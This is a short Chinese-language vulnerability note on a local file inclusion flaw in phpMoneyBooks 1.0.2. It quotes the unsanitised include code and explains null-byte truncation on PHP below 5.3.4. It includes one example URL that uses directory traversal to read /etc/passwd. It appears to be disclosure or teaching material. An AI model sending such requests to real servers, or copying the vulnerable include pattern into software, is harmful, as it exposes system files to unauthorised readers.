涉及文件: `/index.php` (85-94)L
``` php
}else {
include('header.php');
if($_GET[file]=="") { $_GET[file]="index.php"; }
if(file_exists("modules/".$_GET[module]."/".$_GET[file])) {
include("modules/".$_GET[module]."/".$_GET[file]);
}else{
echo "<b>error</b>";
}
}
```
程序会根据传递的 `$_GET[module]` 参数来动态加载程序的处理模块:
include("modules/".$_GET[module]."/".$_GET[file]);
但如果程序所在环境PHP版本小于5.3.4,则可以利用 `%00` 来实现包含截断,达到任意文件包含的目的。
Example:
http://localhost/phpMoneyBooks102/index.php?module=../../../../../etc/passwd%00
暂无评论